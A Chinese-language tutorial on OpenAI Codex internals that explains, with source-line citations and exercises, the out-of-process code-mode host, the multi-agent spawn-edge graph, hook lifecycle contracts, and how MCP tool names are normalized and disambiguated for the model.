主进程选提供方时,已经没有直接 new InProcessCodeModeSession 这条生产路径。CodeModeHost 打开,或者 disable_in_process_fallback 为真,都走向 ProcessOwnedCodeModeSessionProvider。两条都不成立,走向 DisabledCodeModeSessionProvider

出处:codex-rs/core/src/thread_manager.rs 第 455 至 462 行

CodeModeHost 已经是 Stable,默认打开。用户看见的默认已经是本地子进程。进程内求值还在,只是沉到宿主进程内部:宿主打开会话时 new 的就是 InProcessCodeModeSession。isolate 活在小屋里,房东换成了独立二进制 codex-code-mode-host

出处:codex-rs/features/src/lib.rs 第 921 至 925 行 · codex-rs/code-mode-host/src/lib.rs 第 599 至 608 行

Codex thread 主进程 会话提供方 只握接口 codex-code-mode-host 独立操作系统进程 InProcess 会话 V8 isolate 在这间屋里 嵌套工具回调回家,审批仍在主进程 输入是一段 JS。发生的是跨进程求值。输出是 cell 编号和主动交出去的文本。
教学化结构图:默认路径上,V8 落在宿主进程里,主进程只握着提供方。

拉起进程时,stdin / stdout / stderr 全管道化,Unix 上单独一个进程组,环境变量先 scrub 一遍。找不到可执行文件,availability() 直接失败,不会改去主进程里 new isolate。真正的回退发生在工具模式这一层:宿主不可用、请求的是普通 CodeMode、并且没有关掉回退时,有效工具模式变成 Direct。模型重新看见普通工具。

出处:codex-rs/code-mode/src/remote_session.rs 第 69 至 83 行 · codex-rs/core/src/tools/mod.rs 第 79 至 89 行

disable_in_process_fallback 这个名字容易让人以为还存在「回退到进程内 V8」。配置注释写的是另一件事:宿主不可用时,让 Code Mode 闭门失败。今天它控制的是「宿主没了以后,要不要从 Code Mode 退回普通工具」。

出处:codex-rs/core/src/config/mod.rs 第 1089 至 1096 行

为什么长期成立

不要让不受信任的语言运行时和 agent 主进程同命运。换成 Python 的 subprocess,换成别的 isolate,该问的还是同一句:这段代码崩了,谁还活着。

思路二 · 工具回调必须回家
它解决什么问题

你把 app-server 指到一台远端机器的 --code-mode-host,容易以为整段 agent 都搬家了,连 exec_command 的审批弹窗都该出现在远端。当前源码对不上。远端宿主只搬走了求值。嵌套工具的审批、execpolicy、Guardian 仍在本机会话上。

思路是什么

宿主把 CodeModeSessionDelegate 做成 RemoteDelegate,经 IPC 打回 Codex 主进程。主进程上的 dispatch broker 才去走嵌套工具。isolate 搬家了,策略没有搬家。JS 在别处跑,副作用要绕回来问你。

出处:codex-rs/code-mode-host/src/delegate.rs 第 26 至 50 行

WebSocket 和 gRPC 是同一套求值、两套线。WebSocket 监听器拒绝带 Origin 头的请求,挡住浏览器页面跨源连到本机宿主。gRPC 把工具订阅、完成、执行流拆开,丢掉 OpenSession 那条租约流,会话关闭,正在跑的 cell 一并终止。app-server 的 --code-mode-hosthttp / https 为 gRPC,认 ws / wss 为 WebSocket。多个 thread 共享同一条远端连接,store 仍按会话切开。

出处:codex-rs/code-mode-host/src/transport.rs 第 288 至 302 行 · codex-rs/app-server/src/code_mode_host.rs 第 32 至 40 行

本机 · session owner 审批弹窗 execpolicy Guardian 策略没搬家 宿主 · 只负责求值 V8 isolate + store 没有审批 UI exec invoke_tool 回家
教学化对照:搬走的是不可信的 JS 世界,留下的是有 UI 的策略世界。
求值可以搬家,策略还在本机。
为什么长期成立

不可信的是 JS 世界,可信的是审批和策略。把前者搬走,后者留在有 UI 的那边。没有这条回路,远端宿主就必须复制你的整套权限系统。

思路三 · 掉线等于丢掉 isolate 和 store
它解决什么问题

一种常见预期是:你按了中断,V8 一起掐掉,下一轮 wait 立刻看到终止。当前默认对不上。另一种预期是:重连之后,刚才那段脚本还在原来的 cell 里接着跑。两种预期,源码都不认。

思路是什么

turn 被标成 Interrupted 时,任务取消令牌一定会取消。会不会再去 terminate 还在跑的 cell,要看 CodeModeInterrupt。这个开关还在开发,默认关。关掉时,中断只取消本轮工具调用和审批。宿主上的 isolate 可以继续跑,直到自己结束、被 wait(terminate: true) 停掉,或会话 shutdown。用户按 Ctrl-C,并不自动等于那条 terminate。

出处:codex-rs/core/src/tasks/mod.rs 第 888 至 899 行

掉线也一样。gRPC 丢掉 lease 就关会话。客户端可以再开一条租约,generation 从 1 往上加。第一代对外仍用原始 cell ID,第二代变成 g{generation}:{cell_id}。模型拿着第一代的编号去 wait,会收到 stale generation。本地子进程路径没有这套前缀,只是把状态机打回 New,再分配一个新的 session-N。对外 cell ID 仍从 1 数。两种重连都丢运行中的 cell 和那份 store。

出处:codex-rs/code-mode/src/grpc_session/generation.rs 第 49 至 67 行

本地子进程 / WebSocket Open 连接死了 回到 New 再开会话,cell 仍从 1 数 gRPC lease 1 丢掉流 lease 2 对外 ID 变成 g2:1,旧 wait 作废
教学化状态图:两种重连都丢旧世界,gRPC 用世代把「这是新世界」暴露给调用方。

store 表跟着宿主侧的 SessionRuntime。没有落盘,没有跨进程共享,没有 TTL。远端机器重启,表就没了。会话 ID 复用会被拒绝,不会把旧表偷偷接回来。重连恢复的是「还能再 exec」,不是「刚才那段脚本」。

为什么长期成立

cell 的寿命按会话算,不按 turn 算。中断轮次和杀掉程序是两件事。重连开的是新世界,旧身份证作废。自己做 Agent 时,如果用户按停止就期望程序立刻死,默认应该 terminate。Codex 默认不杀,是因为它还把 cell 当成可跨轮续跑的对象。

横向对比 · 同一道题的另一种答法

拓扑:DeepSeek Harness 选择同一栋楼

DSH 把程序放进进程内的 worker_threads.Worker。crate 头注释第一句把立场写死:这是 containment,不是 security boundary。模型代码按 bash 等价来对待。每次 run() 拉起一个新 Worker,环境是空的,堆有上限。程序世界随 worker 一起死,没有跨 run 状态。

一个 worker 崩了,主进程房间还在,可 V8 漏洞或原生崩溃仍可能带走整个 Node 进程。Codex 的 isolate 已经比 Node worker 窄,没有 fs、没有 net、没有 import,仍然不信任「窄 isolate 和主进程同命运」。默认再加一层操作系统进程。代价是多了一个必须随包装分发的 codex-code-mode-host,多了会话 ID、世代和掉线语义。

两侧均已核对源码 · 2026-08-22 · 出处:packages/code-runtime/code-runtime-worker-thread/src/index.ts 第 1 至 6 行 · README.md 第 23 行 · DSH · Code Mode

对位物:Claude Code 与 Grok 把这件事留给 shell

两边都没有「模型写一段程序、在独立运行时里编排工具」的对位实现。Claude Code 的 isolation 出现在 git worktree 和远端 CCR 会话,Grok 的 isolation 出现在子 agent 的 worktree。那是工作区隔离,不是 JS 宿主拆分。没有对位物本身就是结论:这两家把跑模型写的代码留给了普通 shell 工具。

仓库里还有 exec-server,搬走的是 shell、PTY 和文件系统 RPC,不跑 JavaScript。嵌套 tools.exec_command 仍然可以再走进去,那是下一层的执行拆分。两条路不要收成同一个远端。

检索未找到对位实现 · 2026-08-22 · 出处:codex-rs/exec-server/README.md 第 1 至 5 行
课堂练习
01

旧 cell 还能不能 wait

同一段脚本在 gRPC 宿主上跑到一半,连接断了又连上。模型拿着原来的 cell_idwait,会看到什么。本地子进程路径会不会给这个编号改名。两种路径的 store 还在不在。

然后把 CodeModeInterrupt 拨到关,按中断再 wait 一次。答案会不会变,为什么用户按停止并不自动等于 terminate

Takeaway:默认拓扑里 V8 已经不在主进程里。远端只搬走求值,审批仍回本机。宿主崩了或掉线,cell 和 store 一起没了。Ctrl-C 默认不 terminate 还在跑的 cell。
OpenAI Codex · 多 Agent 图

多 Agent 是一张要持久化的图

派出去的是节点,边一出生就是 Open。信先入队,followup 才叫醒。关掉的是边,历史还在。

课程目标读完能说清三件事:子 agent 是图上的节点,边只有 Open 和 Closed;send_message 只入队,followup_task 才叫醒;关机卸运行时,关边才从图里除名。第二天还能不能接着说话,先查边。
先玩一遍 · 派生一个探索者
从 /root 派出 Hypatia,看信怎么走、结果怎么回流
收尾
关机只卸运行时,边仍是 Open。关边才写成 Closed。切一下再播,重启后的名单不一样。
根会话 /root 空闲,可以派孩子
还没派出 等待 spawn 图上还没有这个节点
SQLite 边卡
还没有 thread_spawn_edges 记录。
信箱与注册表
MESSAGE FOLLOWUP RESULT
注册表空着。恢复只沿着 Open 边把身份贴回来。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 计算下一层深度,写入 ThreadSpawnregistry.rs L87
  2. 用 task_name 拼出绝对路径 /root/explore_authmulti_agents_common.rs L117
  3. 从科学家名单抽出外号 Hypatiacontrol/spawn.rs L32
  4. 非临时会话立刻 upsert 一条 Open 边control.rs L776
  5. send_message 按 QueueOnly 组包,只入队message_tool.rs L103
  6. 信箱是会话级队列,入队后发 Mailbox 活动input_queue.rs L127
  7. followup_task 把 trigger_turn 打开,这才叫醒handlers.rs L98
  8. 子 turn 结束,给父发 Result,不叫醒session/mod.rs L1977
  9. 关机不改边;关边只标目标自己的入边 Closedlegacy.rs L6
  10. 重启只把 Open 后代的身份装回注册表control/spawn.rs L158
点播放,看一个探索者怎么长到图上,信怎么走,结果怎么回流。
图先于运行时节点一出生就有路径、外号和一条 Open 边。运行时可以卸掉,边还在,历史还在 rollout 里。
信和叫醒是两件事MESSAGE 只入队。FOLLOWUP 才开工。RESULT 飞回父信箱,默认不抢当前轮。
收尾决定明天还在不在切换上面的收尾再播一遍,看重启后注册表还认不认这个孩子。
教学示意:外号固定为 Hypatia,路径固定为 /root/explore_auth,用于展示图、信箱和边状态。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 父子关系做成有状态的边
它解决什么问题

你让主会话派一个探索者去查 auth 模块。模型调用 spawn_agent,工具回了一句任务名 /root/explore_auth,外号 Hypatia。过几分钟点 wait_agent,信箱里躺着一份 FINAL_ANSWER

第二天打开同一条 thread。子会话的运行时已经卸掉了。系统如果只记得昨天发生过一次调用,这条路径就找不到。你再发 send_message,控制面会报 live agent path not found

思路是什么

Codex 把父子做成有向边。边只有两个值。Open 表示还能当打开的 spawned agent 恢复。Closed 表示从图的视角已经关掉。序列化是 openclosed

出处:codex-rs/agent-graph-store/src/types.rs 第 4 至 12 行

图存在 SQLite 的 thread_spawn_edges 表。child_thread_id 是主键,一个孩子不能挂两个父。同一孩子再 spawn 一次,父和状态都会被新值盖住。会话正文不进这张表。子 agent 的模型上下文仍走自己的 rollout。图只回答谁生了谁,这条边现在开还是关。

出处:codex-rs/state/migrations/0021_thread_spawn_edges.sql 第 1 至 8 行

非临时会话在线程建出来之后立刻 upsert 一条 Open 边。写入失败只打 warn。子 thread 已经在跑,图可以稍后补。补写用 ON CONFLICT DO NOTHING,不会把已经 Closed 的边改回去。

出处:codex-rs/core/src/agent/control.rs 第 767 至 780 行

列后代时,过滤条件作用在走过的每一条边上。Some(Open) 只沿着 Open 走。父边已经 Closed 的子树,就算孙边仍是 Open,也不会被列出来。

出处:codex-rs/agent-graph-store/src/store.rs 第 49 至 54 行

路径才是寻址键,外号是给人认的。根是 /root。相对名接到当前路径后面。... 被拒绝,所以不能靠相对路径爬到兄弟。角色可以收能力,不能替换父会话的权威。内置活角色是 defaultexplorerworkerexplorer.toml 是空文件。

出处:codex-rs/core/src/agent/role.rs 第 1 至 4 行

spawn_agent 新 child thread 路径 + 外号 upsert Open 边 SQLite child rollout JSONL 谁生了谁,开还是关 会话正文不进边表
一次 spawn 之后:身份进注册表,边进 SQLite,正文进 rollout。
为什么长期成立

重启之后必须能问:这个孩子还算活着吗。只记一次 spawn 事件回答不了。Open 才能进恢复列表。Closed 从子树遍历里消失。child_id 做主键,图保持树,遍历可以按深度 BFS。换个语言重写,最小形态仍是一张三列表:parent、child、status。

思路二 · 通信和叫醒分开
它解决什么问题

子 agent 转完了,要回一封 FINAL_ANSWER。如果这封信自带叫醒,父正在写用户看得见的最终答案时,会被子结果强行开一轮。用户看到半截话,再加一份突然插进来的完成通知。

思路是什么

通信种类有四个标签:Spawn、Message、Followup、Result。它们是 OTEL 用的标签。协议侧只有一份 InterAgentCommunication,靠 trigger_turn 区分要不要叫醒。

send_message 是 QueueOnly,只入队。followup_task 是 TriggerTurn,才叫醒。空消息直接拒。followup_task 不能打根节点。

出处:codex-rs/core/src/tools/handlers/multi_agents_v2/message_tool.rs 第 11 至 24 行

处理函数先入队,再决定要不要开工。trigger_turn 为假时,信继续躺着。只有它为真,或会话还有未完成的 durable sleep,才去开工。V2 的完成通知是 Result,trigger_turn 为假。父如果正在说话,这封信按信箱相位排队。

出处:codex-rs/core/src/session/handlers.rs 第 89 至 99 行

信箱是会话级队列。用户插话进 pending_input,子邮件进 mailbox_pending_mails,两条槽。兄弟之间只要用绝对路径,例如 /root/worker_b,就可以互发。相对名 worker_b 会接到自己后面,变成自己的孩子。

出处:codex-rs/core/src/session/input_queue.rs 第 76 至 80 行

send_message QueueOnly followup_task TriggerTurn 子 turn 结束 Result 父或子的信箱 先入队,再看 trigger_turn 躺着,等下一轮 MESSAGE / RESULT 开工,maybe_start_turn 只有 FOLLOWUP 走这里
三种信都进信箱。只有 followup 打开 trigger_turn,完成通知不抢当前轮。
为什么长期成立

叫醒权是稀缺的。谁能开一轮,谁就不能随便开。把投递和开工拆开,完成通知默认不叫醒,叫醒权留给 followup_task 和用户。换一套消息总线也用得上这根布尔:wake 还是只入队。

思路三 · 关边和关机是两件事
它解决什么问题

V2 驻留名额满了,会按 LRU 卸掉一个孩子。如果卸运行时顺便把边标成 Closed,这个孩子从 Open 子树消失。下次恢复找不到它。用户没关过它,系统自己把它除名了。

思路是什么

shutdown_live_agent 关掉活着的 agent,刷 rollout,发 Shutdown,从管理器摘掉 thread。边还是 Open。下次恢复仍会把它当活子树成员。

出处:codex-rs/core/src/agent/control/legacy.rs 第 6 至 8 行

close_agent 先把目标自己的入边标 Closed,再关机。后代的边不会在这里被标 Closed。父 turn 正常结束走 TurnComplete,不调用 close_agent。孩子继续跑,边保持 Open。

出处:codex-rs/core/src/agent/control/legacy.rs 第 48 至 58 行

V2 恢复分两步。先把 Open 后代的身份装回注册表,不重开运行时。真正有人 send_messagefollowup_task 时,才按 rollout 把 thread 挂回来。

出处:codex-rs/core/src/agent/control/spawn.rs 第 144 至 162 行

边是 Open 关机 关边 边仍 Open,运行时卸掉 边变成 Closed 恢复时身份装回注册表 恢复时这条边被滤掉
卸运行时不等于从图里除名。只有 close 才改 status。
关掉的是边,历史还在。
为什么长期成立

运行时活着和从图上除名是两件独立的事。驻留 LRU、进程重启、用户关窗口,都可能卸运行时。只有编排者明确 close,才写成 Closed。恢复时沿着 Open 边走。这条分账不依赖 Rust。

横向对比 · 子 agent 该抽象成什么

DSH:接缝优先,图是列举结果

DSH 把子 agent 做成可替换的 provider 接缝。SubagentProvidernamecapabilitiesinheritsParentContextstart。进程内 fork、Claude Code、Codex、ACP,都是同一张接口上的不同实现。

它也能列出孩子和后代,从活着的 session store 和可选的 persistence 只读枚举。没有一张 thread_spawn_edges 那样的 Open / Closed 边表。拓扑是 session header 的 origin: subagent 加上事后折出来的。换实现便宜,按边恢复要另做。

已核对源码 · 2026-08-22 · packages/subagent/subagent/src/types.ts 第 285 至 295 行 · DSH · Subagent 是一个 seam

Claude Code:工具调用加 transcript 侧链

模型面对的工具现名是 Agent。旧线名仍叫 Task,给权限规则、hook、恢复中的会话做兼容。Explore / Plan 是一次性的,父不会再续跑。

运行时给每个孩子发一个 agentId。没有单独的 spawn-edge 表。恢复靠读这个 id 对应的 transcript。父要列活孩子得扫侧链,没有按边过滤。Codex 多一张表、两套状态,换来重启后仍能按图说话。

已核对源码 · 2026-08-22 · restored-src/src/tools/AgentTool/constants.ts 第 1 至 4 行
课堂练习
01

Closed 父边下面的 Open 孙边还在吗

画一棵三层树:根到 A 为 Closed,A 到 B 为 Open。用 Some(Open)None 各列一次后代。B 会不会出现?

过滤条件作用在走过的每一条边上。然后对照 codex-rs/agent-graph-store/src/store.rs 第 49 至 54 行的注释,把两种结果写下来。

Takeaway:子 agent 是图上的节点。边只有 Open 和 Closed,会话正文走 rollout。send 只入队,followup 才叫醒,完成通知不抢当前轮。关机卸运行时,关边才从图里除名。第二天先查边,再决定要不要挂回运行时。
OpenAI Codex · Hooks

挂钩点能改什么,由事件合同决定

一次 turn 会经过十一个挂钩。协议认四种处理器,运行表只装命令和 MCP。超时默认放行,拆卸期丢掉 stdout。

课程目标读完能说清三件事:四个 type 里哪些会进运行表;hook 超时为什么拦不住工具;SessionEnd 为什么不读输出。挂钩点是生命周期上预留的插口,能改下一步的是事件合同,不是配置文件里的名字。
先玩一遍 · 一次 turn 里钩子按什么顺序响
同一条会话时间轴,换一种返回值,看谁还能改下一步
这次怎么回
五种返回值挂在同一条轴上。超时和没实现的 type 都改不了下一步,明确拦截和带 prompt 的 block 可以。
主轴 · 一次 turn 经过的挂钩
平行细轴 · 仅 ThreadSpawn 的子 agent
这一步拿到什么、能改什么
拿到还没起跑。
能改先选一种返回值再播。
工具、审批、上下文
工具还没到 PreToolUse。
上下文空着。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 协议枚举列出十一个事件名protocol.rs L1510
  2. 配置层认四种 type,后两个是空结构体hook_config.rs L183
  3. 发现阶段把 Prompt 和 Agent 写成 not supported yetdiscovery.rs L626
  4. 运行表只收下 Command 和 McpToolengine/mod.rs L107
  5. 只有同步 hook 能施加控制效果engine/mod.rs L146
  6. 超时写入 error,should_block 保持 falsecommand_runner.rs L317
  7. 退出码 2 加 stderr 才标成 Blockedpre_tool_use.rs L261
  8. Allow 映射成一次性 Approvedapprovals.rs L465
  9. Stop 的 block 带 prompt 才在轮次层 continueturn.rs L509
  10. SessionEnd 退出码 0 即完成,丢掉 stdoutsession_end.rs L109
点播放,看一次 turn 里每个挂钩拿到什么、能改什么、什么时候来不及了。
名字不等于能力配置能写下 Prompt 和 Agent,发现阶段会撕掉。能跑的只有命令和 MCP 工具。
失败默认放行超时、崩溃、非法 JSON 都把控制位留在 false。要拦,就给明确的 deny 或退出码 2 加理由。
位置决定合同工具跑完再拦,拦的是结果。拆卸期写 JSON,stdout 直接丢掉。
教学示意:主轴收成八个点,压缩与子 agent 画在旁路,用于展示触发顺序和合同差异。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 认得出和跑得了拆开
它解决什么问题

你刚从 Claude Code 把一份 hooks.json 搬过来。文件里有三条处理器:命令拦危险 shell,提示词让小模型审用户提交,agent 在 Stop 时再起一个子会话跑 linter。Claude 那边三条都能跑。

贴进 Codex,启动会话。命令那条亮了。后两条日志各写一句 not supported yet。协议枚举明明列着 PromptAgent,配置解析也认这两个 tag。装进运行表的只有命令和 MCP 工具。

思路是什么

内核对外有三张表,宽度不一样。

协议面列出十一个事件名,serde 走 snake_case。旁边四个处理器类型也在:CommandMcpToolPromptAgent

出处:codex-rs/protocol/src/protocol.rs 第 1508 至 1531 行

配置面用 type 标签把这四个名字都接住。后两个是空结构体。解析能过,字段里没有可执行内容。

出处:codex-rs/config/src/hook_config.rs 第 183 至 187 行

发现阶段看见后两个就 continue,文案是 prompt hooks are not supported yetagent hooks are not supported yet。引擎里真正可执行的种类只有命令和 MCP 工具。普通用户配置里,这两条只进 warning,会话继续。托管必选 hook 配了它们,启动会失败。

出处:codex-rs/hooks/src/engine/discovery.rs 第 626 至 645 行

协议枚举 11 个事件,4 个 type 配置解析 Prompt / Agent 是空结构体 运行表:Command / McpTool skip:not supported yet 引擎类型名就叫 ClaudeHooksEngine 兼容 Claude 的 hooks.json 是产品入口,先接住四个名字,执行器后补 wire 枚举少 SessionEnd,因为拆卸期根本不判别 stdout
三张表分开写:认得出、解析得过、跑得了,是三件不同的事。

JSON hook 的运行时类型名直接写成 ClaudeHooksEngine。兼容不是注释里的愿望,是类型名。stdin 喂 JSON,stdout 按 schema 解析。旁边还留着一条旧 notify 路,只在 turn 收工时 fire-and-forget 一条命令。两条路不要混。

出处:codex-rs/hooks/src/engine/mod.rs 第 107 至 119 行

为什么长期成立

配置面可以比执行器宽。先把生态里已有的四个 type 接住,未知 tag 才不会把整份 hooks.json 打爆。代价是搬家的人会按枚举名理解能力。所以发现阶段必须留下稳定文案,必选策略碰到未实现 type 必须拒绝启动。换个语言重写,最小形态仍是两张表加一个 skip。

思路二 · 失败默认放行
它解决什么问题

有人写了一条 PreToolUse 脚本,超时设成 1 秒,脚本里 sleep 5 秒。他们以为 hook 崩溃等于拦截。工具照样执行。日志里这条 hook 的状态是 failed,文案带 timed out after 1s

思路是什么

run_command 超时把 error 写成 hook timed out after {n}sexit_code 是空的。解析看见 error 只标 Failedshould_block 保持默认 false。工具注册表于是继续 handle_any_tool

出处:codex-rs/hooks/src/engine/command_runner.rs 第 317 至 326 行

会拦的路只有两条。JSON 里给出 deny 或 block。或者退出码 2 且 stderr 非空。退出码 2 却没有理由,算失败,不拦。异步 hook 即使返回 deny,也加不上控制效果。只有同步、可信、未超时的处理器能改下一步。

出处:codex-rs/hooks/src/events/pre_tool_use.rs 第 261 至 277 行

PreToolUse 超时 / 崩溃 退出码 2 + 理由 Failed,继续执行工具 Blocked,跳过工具 handle_any_tool RespondToModel hook 自己崩了,工具还是会跑。这是默认放行。
同一挂钩点,超时和显式拦截把工具带去两个方向。

审批路径上的规则反过来。PermissionRequest 跑在 Guardian 和用户审批 UI 之前。它不改工具输入。折叠规则是:任一 deny 立刻赢,否则保留最后一次 allow。Allow 映射成一次性 Approved,不进会话缓存。下次同样的命令还要再问。

出处:codex-rs/core/src/tools/approvals.rs 第 454 至 474 行

Claude 的 PermissionRequest 输出里有 updatedInput。Codex 把这个字段标成 reserved,看见就 fail closed。从 Claude 原样搬一条带改写的审批 hook,在这里会失败,不会改写。

要拦,就给理由。沉默和超时都放行。
为什么长期成立

一条挂掉的 linter hook 不该让所有工具停摆。可用性放在拦截可靠性前面。想改流程,必须同步、必须有明确决策。想发通知,可以异步、最多 8 个并行。审批路径对歧义输出 fail closed,因为那一层不能把看不懂的字段当成允许。

思路三 · 晚了就改不了已经发生的事
它解决什么问题

PostToolUse 想拦一次危险写入,文件已经落盘。SessionEnd 想往上下文里塞收尾说明,stdout 被丢掉。wire 枚举里也没有这个事件名。两处翻车的共同点是:挂钩点已经走过它能改的那一段。

思路是什么

十一个挂钩点按生命周期排开。主轴是 SessionStartUserPromptSubmitPreToolUsePermissionRequest → 工具 → PostToolUsePreCompactPostCompactStopSessionEnd。子 agent 另走一条细轴,SubagentStartSubagentStop 只在 ThreadSpawn 上响。

每个点的合同不一样。

PreToolUse 能拦工具、能改输入。失败默认放行。PostToolUse 只在工具成功之后跑,block 拒绝的是结果,副作用已经发生。Stop 的 block 带着 continuation prompt,才在轮次层 continue,不重发 TurnStarted。没有 prompt 的 block 被忽略。should_stop 才把控制权交回任务壳。stop 优先于 block。

出处:codex-rs/core/src/session/turn.rs 第 509 至 538 行

UserPromptSubmit 的 block 写成 should_stop,停的是当前这条用户消息,不会拿 stderr 当下一轮 prompt。matcher 在这里被忽略。SessionStart 尊重 continue: falseSubagentStart 只做上下文注入,同样的字段被丢掉。

SessionEnd 是拆卸期通知。超时默认 1 秒,上限 3 秒,给 app-server 的五秒 shutdown 留余量。退出码 0 就是完成,stdout 整段丢掉。MCP 形态直接 skip。reason 目前写死 other

出处:codex-rs/hooks/src/events/session_end.rs 第 20 至 24 行

hook 文本进模型之前先变成 developer 角色的片段。默认预算 2500 个近似 token。超限时全文写到临时目录,模型看见头尾预览加一行路径。写盘失败就只截断。

出处:codex-rs/hooks/src/output_spill.rs 第 53 至 91 行

为什么长期成立

挂钩点的能力跟它在生命周期的位置绑定。工具还没跑,才能改输入或跳过。工具跑完,只能改模型看见的那一截。拆卸期只有几秒,读 JSON、回灌上下文、再等 MCP,都会把关机拖过上限。于是它变成纯通知。换一套运行时,该问的仍是:这个点还来不来得及改已经发生的事。

横向对比 · 同一份 hooks.json 的三种接法

Claude Code:二十七个事件,Prompt 和 Agent 真的会跑

还原源码里 HOOK_EVENTS 有 27 项。Codex 的十一点都在,另外还有失败后事件、通知、工作树和文件变更。execPromptHook 用小模型跑一段提示词,构造 user message 时绕开 processUserInput,避免再次触发 UserPromptSubmitexecAgentHook 会起一轮完整 query。

Claude 的运行面比配置面宽。Codex 反过来,先把四个 type 接住,执行器后补。事件名高度重合,这是对齐动作。ClaudeHooksEngine 这个类型名把产品判断写进了标识符。

两侧均已核对源码 · 2026-08-22

DSH:插件瀑布是原生接口,hook 文件是兼容桥

DSH 的工具管道在 tools/pre-executetools/post-execute 上各开一道瀑布。原生插件能做桥能做的一切。hooks-codex 只映射五点:PreToolUsePostToolUseSessionStartUserPromptSubmitStop。没有 rewrite,没有 PermissionRequesttype: command 以外的、异步的,解析后跳过。

DSH 先有插件再补文件兼容。Codex 先有 Claude 文件合同,再让插件往同一引擎里塞声明。Grok 用十五个事件名补观察面,is_blocking() 只对 PreToolUse 返回真,没有审批前 hook。

两侧均已核对源码 · 2026-08-22 · DSH · 插件瀑布
课堂练习
01

同一条 PreToolUse,两种返回值

项目里有一条 PreToolUse 命令 hook,matcher 对着无害的 echo。先把 timeout 设成 1,脚本里 sleep 5 秒。再把脚本改成退出码 2,并向 stderr 写 blocked by test

推演两趟结局:工具会不会执行,模型看见什么,hook 状态分别是 failed 还是 blocked。然后解释,为什么第一种不能靠「hook 挂了」来当拦截。

Takeaway:协议、配置、运行是三张表,能跑的只有命令和 MCP。失败默认放行,要拦就给理由。每个挂钩点能改的东西跟它在生命周期的位置绑定,拆卸期和工具跑完之后,已经来不及改已经发生的事。
OpenAI Codex · MCP 与 Skills

MCP 接进来:模型看见翻译过的名字

外部 server 的工具要先过一层翻译才进模型眼睛。skill 目录常在,缺 MCP 时另问人。

课程目标读完能说清三件事。Codex 当 client 时,外部工具怎么变成模型可见名。两家店清洗后撞名,怎么消歧。skill 目录为什么不看 MCP 活没活着。
先玩一遍 · 一家店接进来,名字怎么变
一个 MCP server 接进来:工具怎么变成模型看得见的能力
接入场景
右边两档会撞名。切一下,看清洗之后谁被加上哈希。
门外 · 原始 tools/list进门 0
还没接任何人。
模型眼前 · 翻译后的名字可见 0
清单空着。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 连接集整份发布,已有 binding 继续拿自己那份连接runtime.rs L246
  2. 各家 tools/list 汇成一张表,再交给命名翻译tool_catalog.rs L153
  3. 给命名空间加上历史前缀 mcp__tools.rs L228
  4. 非法字符洗成下划线,只留字母数字和下划线mcp/mod.rs L477
  5. 完全相同的原始身份丢掉一份tools.rs L134
  6. 清洗后命名空间撞车,末尾加 12 位 SHA-1tools.rs L166
  7. 清洗后工具名撞车,同样加 12 位哈希tools.rs L193
  8. 合起来超过 128 字节就截断再哈希,协议调用仍走原名tools.rs L226
点播放,看一家店接进来之后,工具名怎么变成模型看得见的能力。
两层名字左边是协议上的原名,右边是给模型看的翻译。调回去的时候走左边,不会因为右边加了哈希就进错店。
撞名才哈希干净两家不会加后缀。连字符和工具名这两档,清洗之后才会撞,哈希是消歧,不是装饰。
自己改第二家店在连字符档把店名改成和第一家清洗后一样的字,就能看见命名空间被拆开。
教学示意:哈希取前 12 位,算法是 SHA-1,演示里用固定示意后缀。行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 对外一份清单,对内另一份
它解决什么问题

你把 codex mcp-server 写进 Cursor 的 MCP 配置。Cursor 当 client,Codex 当 server。若这一次 tools/list 把内部 GitHub 工具一并交出去,IDE 调一次就摸到内部能力。权限边界从「调一次 Codex」扩成「直接调内部工具」。

思路是什么

crate 拆成两套。mcp-server 从 stdin 读行,一行一条 JSON。initialize 只打开 tools。tools/list 写死两个名字:codexcodex-replycodexstart_thread,nested thread 再起自己的 McpRuntimecodex-mcp 管连接集,外部 server 的工具另做一份目录。

出处:codex-rs/mcp-server/src/lib.rs 第 131 至 152 行;codex-rs/mcp-server/src/codex_tool_runner.rs 第 66 至 90 行;codex-rs/codex-mcp/src/runtime.rs 第 88 至 98 行

同一份 JSON-RPC 线协议,处理器不是同一个。早期资料常把它们画成同一个 runtime 的两张脸。当前源码里它们甚至不共享 MessageProcessor

出处:codex-rs/mcp-server/src/message_processor.rs 第 274 至 277 行;codex-rs/mcp-server/src/message_processor.rs 第 336 至 348 行

IDE 看见的入口 Cursor MCP client mcp-server codex · codex-reply nested thread 一次 tools/call 变成一条会话 会话里看见的外部店 McpRuntime 连接集可整份 replace GitHub mcp__github__* Docs mcp__docs__* 自建 HTTP mcp__http__*
教学化结构图:上面是交给 IDE 的两个入口,下面是会话内部的外部工具目录。
为什么长期成立

对外承诺和对内能力分开,是网关的通用形状。换语言也是两个函数:hosted 返回 run / continue,external 返回 mcp__*。IDE 只看见入口,会话里才看见外部店。

思路二 · 模型看见的是翻译过的名字
它解决什么问题

两家店都报 search,前缀还能分开。一家叫 basic-server,一家叫 basic_server,连字符洗成下划线之后,命名空间会撞。模型看见两个同名工具,下一次调用就不知道进哪家店。API 还有字节上限。

思路是什么

server 接进来,先把各家 tools/list 汇成一张表,再走 normalize_tools_for_model_with_prefix。顺序是固定的四步。

1. 给命名空间加上 mcp__ 前缀。

2. 非法字符洗成下划线,只留字母、数字和 _

3. 完全相同的原始身份丢掉一份。清洗后命名空间或工具名还撞,就在末尾加 12 位 SHA-1。

4. 合起来超过 128 字节,截断再哈希。原始 server_nametool.name 留在 ToolInfo 上,协议调用走原名。

出处:codex-rs/codex-mcp/src/tools.rs 第 105 至 117 行;codex-rs/codex-mcp/src/tools.rs 第 134 至 137 行;codex-rs/codex-mcp/src/tools.rs 第 166 至 194 行;codex-rs/codex-mcp/src/tools.rs 第 226 至 227 行;codex-rs/codex-mcp/src/mcp/mod.rs 第 477 至 485 行

原始身份 server + tool.name 清洗 mcp__ 加下划线 消歧 撞了再加哈希 模型眼前 唯一且够短 协议调用仍带原名 翻译层只管给模型看,寻址还走 server_name 和 tool.name
教学化流水线:给模型看的名字和调回去的名字是两层。
给模型看的是翻译,调回去走原名。
为什么长期成立

给模型看的名字和协议上的名字本来就是两层。一层给人读、给 API 用,一层用来寻址。哈希消歧是撞名问题的通用答法。上限数字会变,这层翻译不会变。

